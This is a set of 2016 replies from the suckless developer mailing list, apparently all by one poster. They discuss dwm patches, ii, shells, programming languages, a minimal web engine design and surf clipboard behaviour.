On Mon, 16 May 2016, Jan Christoph Ebersbach wrote: > What auth system are you using if it's neither PAM nor shadow/passwd? Kumbaya auth, or cowboy auth, according to personal preference
Re: [dev] [dwm] [patch] config.o
On Sat, 14 May 2016, Connor Lane Smith wrote: > Hi all, > > Attached is a dwm patch that pulls out all of the key and button > handlers, and all of the layouts, into a new file called config.c, > replacing config.h. The idea is that it makes it clearer what is dwm > proper and what is just a part of the default config. > > I've sat on this patch for about half a year, and I've still not made > my mind up as to whether it's a good idea or not. But I thought I > might as well post it on here anyway. > > Thanks, > cls Sounds like a good idea by itself, but 1. completely breaks the convention (if there is such a thing as a convention); 2. this would break almost every single third-party dwm patch currently in existence...
Re: [dev] [ii] how do you use it?
On Fri, 06 May 2016, Mitt Green wrote: > So, FIFO in the description[1] means "fit in or f#$! off"? I'm going to print this and hang on the wall :D In all seriousness, ii is more of a library for use with shell scripts and custom plumbing than a fully-featured client. It can also be a base for a client you'd build. For example, try splitting a tmux window horizontally, putting "out" in the upper half, and "in" in the lower. The fact that ii is a standalone executable might be misleading. When you type in "cat" and hit enter, you shouldn't expect a manual either. As far as documentation goes... Well, IMHO... Documentation for all suckless projects... hm, kind of sucks. K.
Re: [dev] [ii] how do you use it?
On Fri, 06 May 2016, Mitt Green wrote: > Hey, > > Sorry for kinda noobish question. I can't figure out > how ii works. Here's what I did: > > 1. compiled it; > 2. ran "ii -n -s irc.ubuntu.com" ; > 3. "echo "/j #ubuntu" > in" ; > 4. and nothing happened. > > I checked ~/irc/irc.ubuntu.com/out and there are > channel messages, like "Looking up your hostname, > Checking ident" and all that, ye know. > What should I be doing and expecting from ii? > I have been using XChat/Hexchat, > they have shiny eyecandy interfaces, and you > don't do things manually there. > > Thanks! > Mitt > > P.S. Yes, I've read README, FAQ, man page and > web page, but still confused. You probably want irssi or bitchx or xchat or pidgin or ii is when you know exactly what you need and you see ii is the way to get it. Think of it as Lego for grownups. K.
And offtopic into languages again [was Re: [dev] "Note On Webkit Versions"]
On Mon, 02 May 2016, Bobby Powers wrote: > Go is a _much_ simpler language than C. And yet it still includes a fair share of insanity. The binary size is not an effect of some random silly magic #ifdef MAKE_BULKY, it's the effect of linking the userspace scheduler, GC, and Ken knows what else in each and every "hello" program. > The _implementation_ of Go is less simple, as it includes a userspace > scheduler and low-latency GC, but I don't know how you would expect to > add seatbelts to C or assembly and not increase _eiter_ the language > _or_ implementation complexity. I did not imply deriving the new hypothetical language directly from C. I did not suggest it would be simpler or equally simple to C or Go or whatever - while there's definitely some stuff you can cut out from C, adding features is adding features; especially if you're talking about making them optional. What I did try to suggest, when calling out Go: - I do not see a scheduler and syntax-level support for green threads, channels, etc as value, only baggage. It's been done as a library long before[1], and it was good enough - I'd even say better in few places; you didn't have to use reflection to alt on an array of channels. - For a language that states as its primary goal to make programs simpler, it fails miserably as soon as you need to introduce custom abstractions. For a tiny, simple, albeit not so close-to-the-metal language that proves even complex custom abstractions can be powered by simple primitives, do check out R5RS[2]. Even C has a standard (if sucky) way of abstracting repetitive code: the preprocessor. Go's current recommendation is to either copy-paste, or push it to the toolchain (see Qt's MOC to get an idea of where the latter leads to). So for the sole purpose of being a saner / safer C, and little else... Go fails. [1]: http://man.cat-v.org/plan_9/2/thread [2]: http://www.schemers.org/Documents/Standards/R5RS/HTML/ Sorry for the rant, I promise my next post will have PoC code in it. K.
Re: [dev] "Note On Webkit Versions"
On Mon, 02 May 2016, Leo Gaspard wrote:
> To get closer to the original topic, I think rust is among the best
> choices for a webkit replacement. A webkit replacement *will* be huge,
> bloated and sucky. It's pretty sad, but most of us need a way to access
> sucky websites that won't work without javascript enabled (bank
> websites, I'm looking at you).
There's another way: push for a simpler (= saner, more secure) web.
The fact that Mozilla, an organisation responsible in big part for many
of the modern insanities of www, has at one point realised, "wow, this
shit sucks horribly, we need to take a step back and rewrite from
scratch", gives a little shadow of hope.
I say, go back to the basics, and push web developers to write apps that
scale down gracefully. I'm saddened that my career path has led me
towards contributing to the mess, but still whenever I have the
opportunity, I include a fallback and test e.g. with elinks, dillo [1].
Your bank's website doesn't work in Dillo? Write them a letter, call
them. Or vote with your feet.
[1]: https://github.com/rollcat/mpw
> Now, why would rust be a good language for this? The mere fact that it's
> memory safe by default means a whole class of vulnerabilities just
> vanish. And one of the largest surface of interaction of your computer
> with the outer world being through the browser, it's usually a good idea
> to keep it as safe as possible.
>
> A webkit replacement written in C would need to have its entire codebase
> audited for memory flaws. One in rust needs to be audited only in unsafe
> blocks. For servo, that means a decrease of 99% of the work to be done,
> if I understand correctly your sentence.
Compiler-level seatbelts are too good not to have! That's how I'd see
THE candidate to replace C: safe by default, full control only when you
need it. Add: actually simple (looking at you, Go, Rust), and we'd
finally have a worthy contender.
However for those occasions when you *think* you know what you're doing,
but still get it wrong, you also need an OS-level sandbox. The module
that talks to the network should have no possibility to access the
filesystem or the display; and no amount of "unsafe { ... }" should ever
be able to bypass this. For this to work, you also need a decent,
modular architecture and correct privilege separation.
K.
Re: [dev] Languages that suck (was "Note On Webkit Versions")
On Mon, 02 May 2016, Marc Collin wrote: > Something better than using fancy (aka: complex) languages with > garbage collector, memory safeness, etc. is to formal verify your C > program[0]. There's even a kernel, seL4 that's been formally verified > to not contain certain bugs like buffer overflow and that kind of > stuff.[1] Related: https://coq.inria.fr/ > [...] when von Neumann found out about it he was very angry, saying > that it was a waste of a valuable scientific computing instrument to > use it to do clerical work. This simply does not make any economical sense. You either: 1. Have all people do clerical work; 2. Build computer systems, offloading some of the clerical work to programmers by using $LANGUAGE, making group 1 more productive; 3. Offload the hard problems in 2. to compiler / language developers, making group 2 more productive (and by proxy, also group 1). Sooner or later you end up with 3, because the businesses that don't embrace it, lose their competitive advantage to businesses that do. This is fine, it's called progress, it makes life better. Whoever disagrees: you're free to live in a cave. What's not fine is unbound complexity. But this gets dealt with once in a while all on its own, again, regulated by the free market and the costs of sticking to solutions that suck too much. HTTP+JSON, Unix, Go, are all good examples of a simpler technology displacing a bunch of unnecessarily complex competitors. K.
Re: [dev] Languages that suck (was "Note On Webkit Versions")
On Mon, 02 May 2016, FRIGN wrote: > Benjamin Franklin said this: > “Those who surrender freedom for security will not have, nor do they > deserve, either one.” > And this defines what it's all about. > C is all about freedom, and any measure a higher level language applies > is a cut in freedom while increasing "security". There's no way around > it. Pretty interesting take. However there's a big difference between the state and a programming language - you can easily choose the one you like, to get one job done, and you don't have to give up on another for a different job. I wouldn't write an OS kernel in Python, and I would never bother writing a webapp backend in C. If I were writing a compiler for a new language (even C-like), I would start in Python! Then rewrite the compiler in the target language, and throw away the initial Python implementation.
Re: [dev] "Note On Webkit Versions"
On Sat, 30 Apr 2016, ra...@openmailbox.org wrote:
> There is a lot of hype about rust being 'memory safe' but where is the
> proof?
You don't need a proof, you only need a significant improvement upon C,
which Rust delivers.
> secondly 1 in every 100 lines of servo is an 'unsafe {' directive.
In C, 100 in every 100 lines is "unsafe".
Rust has its own insanities though.
Re: [dev] "Note On Webkit Versions"
On Sat, 30 Apr 2016, Ben Woolley wrote: > You pretty much just described Dillo. Bookmarks exist, but through the > plugin API only. Memory only cache. CSS and SSL support, but no JS. > About the only thing I could see counted against it is that it is C++ > and not C, but imagine the "magic" that it would probably have in C. > Probably best in C++ anyway. Forgot about Dillo! Good stuff: - 53k sloc; beats w3m & lynx feature-wise - It's here today and works reasonably well Bad stuff: - UI is horribly inconvenient; spartan doesn't mean it should suck - C++, autohell, pthreads - FLTK is 100k sloc C++; includes support for Cairo, GL, kitchen sinks - Focus on security - status unknown? K.
Re: [dev] "Note On Webkit Versions"
On Fri, 29 Apr 2016, Christoph Lohmann <2...@r-36.net> wrote: > Greetings. > > On Fri, 29 Apr 2016 17:58:08 +0200 Jochen Sprickerhof > wrote: >> Hi, >> >> just saw this commit: >> >> http://git.suckless.org/sites/commit/?id=6e3450a047c5f7eda300f68814f7b1dfd499119e >> >> Can someone (@Christoph) please specify which version of Webkit and which >> packaging is meant and what are the symptoms of hell? > > The pure insane size of the webkit source and compile system makes it > uninteresting for an average user to compile webkit on his/her own. This > stalls any try to patch, extend or strip down webkit. > > This basic fact forces users into binary packaging, which – especially > for webkit1 –, is bad and tends to have a dependency on all Open Source > projects out there. > > The symptoms of hell (They can be applied to other projects too.): > > * Crashing without an easy way to debug it > * You need to download hundreds of megabyte of source for webkit and > of course compile it, for debugging it. > * This leads to no motivation in fixing. > * The bigger the project, the more »magic thinking« happens. > * Magic only leads to Arch Linux help forum content. > * Dependency subhell > * Here's where the catholic church banned all unborn children. > * Download and debug all the APIs in need is not possible except for > the person who is working for money on webkit. > > Conclusion: If you reach the stage of too many dependencies or code, > which can only be changed by the one who wrote it, remove your project > and leave the software industry for something productive. Your future > hobby enthusiams will keep the project size small, just by practical > means. > > > Sincerely, > > Christoph Lohmann So Webkit is problematic. What would it take for a basic, sucks-less-than-webkit, web engine? I don't mean to run GMail, but just basic web browsing: render text, follow links, show images, terminal or X. - HTTP client lib (is libcurl ok? oops no! 70k sloc!!!) - Basic XML / HTML parser lib (simple, hand-rolled, recursive descent?) - Basic layout engine, rendering frontends (text/md dump, terminal, X) - Sandboxing (pledge, cgroups, privsep, etc? What can each OS give us?) Things NOT to do: - Silly security / privacy holes - JS, JIT, other insanity - History, bookmarks, password manager, ... external scripts if needed - Caches (use a local caching proxy) - Going over N thousand lines of ANSI C (find N) Things to consider: - Scriptability, "being UNIX-y" - HTTPS - is it possible to sandbox the crypto code? - Cookies - necessary evil? Reject 3rd party cookies by default? - Basic CSS? How much CSS support is too much? - Threads? Processes? Async IO? Best way to fetch / process / render w/o freezing the UI? fork + pipes sounds least silly... Would such a project make sense? Surf is the practical approach where we have 95% of modern web working OK, at the cost of dealing with a huge pile of suck. What about a slightly more radical approach, where we have 95% of only what we care about working OK, and reduce SLOC by 95%? What about w3m? lynx? They're 50k, 84k sloc respectively. Maybe a good place to start? Don't know yet. Also I'd like to apologise for the empty talk without any code, I don't have time right now to do a prototype, also everyone would hate it as it would be in Python :) K.
Re: [dev] execline shell
On Sun, 24 Apr 2016, Greg Reagle wrote: > On 04/23/2016 07:49 PM, ra...@openmailbox.org wrote: >> execline works on a different concept than regular shells: >> http://skarnet.org/software/execline/grammar.html > > Execline looks interesting, but I don't quite comprehend it. How would > a script such as the following be written in execline? execline is not exactly a shell. It's supposed to facilitate "DJB-style" command chaining, and focuses on little else. Suppose you have a bunch utilities that each do exactly one thing, and then 'execve(2)' the remainder of their arguments: setuser my_user program arg setgrp my_group program arg You could freely chain such commands to modify the execution environment for the final program: setuser my_user setgrp my_group program arg If your script does nothing else (as is the case 99% of the time when using daemontools[1] or runit[2]), /bin/sh is quite redundant. [1]: https://cr.yp.to/daemontools.html [2]: http://smarden.org/runit/ For that intent and purpose, I would call it perfectly suckless. K.
Re: [dev] [question] Does bash suck?
On Sat, 23 Apr 2016, Greg Reagle wrote: > [...] it is incompatible with Plan 9 rc, unfortunately, and the author > is not interested in changing it to be compatible [4]. The difference > is just one item of syntax, but it's enough to be a major > incompatibility. Make that two, quoting the man page: > The list flattening operator, $^foo, is spelt $"foo in those versions > of the Bell Labs rc which have it. All other incompatibilities seem to be a superset of AT&T's rc's functionality, or can be avoided. And since both of them are named "rc", and are usually present in vastly different locations across different platforms, it's practically impossible to detect or specify using one vs another in a simple and portable way. I don't understand why... The author went as far as to document all of these incompatibilities, why not just fix them? We could have had a better shell. Such a shame.
Re: [dev] [question] Does bash suck?
On Sat, 23 Apr 2016, Marc Collin wrote: >> OpenBSD's ksh is excellent, but not sure if it was ever ported anywhere > It was, and it's called loksh. stali recommends it. > https://github.com/dimkr/loksh Yep, just saw it mentioned in the thread. I'm surprised this exists and is actually recommended - a lot of cool OpenBSD stuff tends to stay OpenBSD-only. > Maybe there could be a flag option to disable horizontal scrolling? Dug into man and source. The horizontal scrolling behavior seems tied with the "emacs" line edit mode. If disabled (set +o emacs), it's gone, together with any line editing capability (e.g. C-a prints '^A'). It would be cool to have a separate flag for that. I'd have to dust off my C skills... Thanks! K.
Re: [dev] [question] Does bash suck?
On Sat, 23 Apr 2016, Marc Collin wrote: > Hi. > Recently a user from suckless told me that bash sucks, but before I > could ask why he went offline. > I tried looking at suckless.org page about software that sucks, but > couldn't find anything about bash. > I can imagine why it sucks - no portability! #/bin/sh should be > enough for everyone. Is that it or is something else to the matter? > Maybe an entry to suckless.org suck page could be good to clarify > things and also warn new users. > Best wishes. TL;DR all shells suck horribly. Bash is slow, buggy, incompatible, security disaster, bloated, quirky. If you'd like a slow, buggy, bloated and quirky shell that sucks just slightly less than bash and has more features, try zsh. mksh is very nice for interactive use, but lacks edit undo (C-_), which drives me mad. Also it's always trying to fit a long command on a single line by scrolling it horizontally, which makes mouse copy-pasting a total pain. OpenBSD's ksh is excellent, but not sure if it was ever ported anywhere else. Also it shares mksh's insane input line scrolling thing. csh is insane for scripting. Also I don't want to bother using an interactive shell if it's not (more or less) the same language I could use for scripts. I don't like rc since there are two incompatible implementations, one is the real thing and the other is actually usable for interactive use. For scripting, use #!/bin/sh, but do yourself a favor and if you're bound to go over the 1000 LOC mark, use Lua, Python, Perl, etc instead. K.
Re: [dev] [scc] issues with invoking
On Wed, 20 Apr 2016, hiro <23h...@gmail.com> wrote: > I read three words, but thanks anyway :) > I guess there are a lot of specific things about every single uC that > would make it worth one's while to create a highly customized compiler > for it. Somewhat agree. Code generation, optimisation passes, quirks, yes. Complete compiler stack no, there's reason why GCC is winning with closed source proprietary vendor stacks, even if GCC sucks.
Re: [dev] [scc] issues with invoking
On Wed, 20 Apr 2016, hiro <23h...@gmail.com> wrote: > you seem to prepare writing your own operating system, but there is > already losethos, i don't recommend redoing this fine work. One word: microcontrollers
Re: [dev] ways of viewing application indicators
On Mon, 14 Mar 2016, Greg Reagle wrote: > Greetings. I switched over to dwm recently on one of my computers. I > was using XFCE (Xubuntu) before. I needed to get to the dropbox GUI to > change some settings. I got it working with `dbus-launch xfce4-panel > &`. So now I can see the application indicators including Dropbox. > > But it's not ideal. The XFCE panel acts a bit screwy. Are there other > ways to get access to the application indicators? If you don't mind a more sucky WM, Awesome[1] has builtin systray support. [1]: http://awesome.naquadah.org/ K.
Re: [dev] [bug][dwm] Fullscreen youtube after tag switch in 6.1
On Sun, 06 Mar 2016, Carlos Pita wrote: >> > 4. Switch again to the youtube tag: flash has crashed. >> ^ >> >> You get what you deserve. > > So it's not a technical but a moral issue, sorry then, I'll ask my rabbi. Flash is very much a technical problem. Binary blob, catastrophic security record, X11 support is a giant hack (render a window on top of the page), absolutely non-portable outside of a few common OS+architecture combinations, want me to go on?
Re: [dev] [bug][dwm] Fullscreen youtube after tag switch in 6.1
> 4. Switch again to the youtube tag: flash has crashed. ^ You get what you deserve. Who on earth still uses flash for youtube? Less sucky alternatives: - youtube-dl - HTML5 K.
Re: [dev] [ANNOUNCE] slock-1.3
> slock < password-file You now have a password in cleartext, which we know is a bad idea. It would be better to hash it. Congrats, /etc/passwd & friends reinvented.
Re: [dev] [surf] Why yank to primary instead of clipboard?
On Wed, 03 Feb 2016, Martti Kühne wrote: > Seriously, if you don't like it, much of this isn't the fault of sl. > That GTK programs use a different paste buffer for ^Ins is completely > arbitrary and probably the wrong thing GTK does there, but now that > doesn't force sl software to succumb to the same weirdness [...] I agree in principle - do the right thing, keep code lean, sane and correct. I disagree in practice - in many cases it's impossible to avoid using and interacting with sucky software. See the case of surf itself, and its dependency on GTK. At the end of the day, we enjoy suckless code but are stuck with sucky behavior. > You know where to find the source, so it won't be hard for you to > figure out how to apply patches. Don't worry, I'll be on it in a moment. <3, K.
Re: [dev] [surf] Why yank to primary instead of clipboard?
On Wed, 03 Feb 2016, sta...@cs.tu-berlin.de wrote: > * Kamil Cholewiński 2016-02-03 10:05 >> On Wed, 03 Feb 2016, robin wrote: >> Middle click. >> [...] >> Yes, this is really confusing and frustrating, I have to reach for the >> mouse when otherwise dealing with an almost keyboard-only environment. > > try Shift-Insert > > cheers > --s This is even weirder. It pastes primary selection in terminals, but clipboard in surf or emacs. It's even more confusing, I will purposefully pretend it doesn't exist.
Re: [dev] [surf] Why yank to primary instead of clipboard?
On Wed, 03 Feb 2016, robin wrote: > The function clipboard(Client *c, const Arg *arg) > uses GDK_SELECTION_PRIMARY instead of GDK_SELECTION_CLIPBOARD. > > For me, thats a hassle. > How do i copy a uri to send to a friend? > > I changed it to use CLIPBOARD, but I am wondering: > Is there any good reason to use PRIMARY? > How do i copy a uri to send to a friend? Middle click. > uses GDK_SELECTION_PRIMARY instead of GDK_SELECTION_CLIPBOARD. Yes, this is really confusing and frustrating, I have to reach for the mouse when otherwise dealing with an almost keyboard-only environment. Also the key combination is extremely confusing - C-y in almost every place in the world (including bash, emacs, dmenu) means paste, not copy. The cumulative time spent going back and re-copying is too damn high. K.
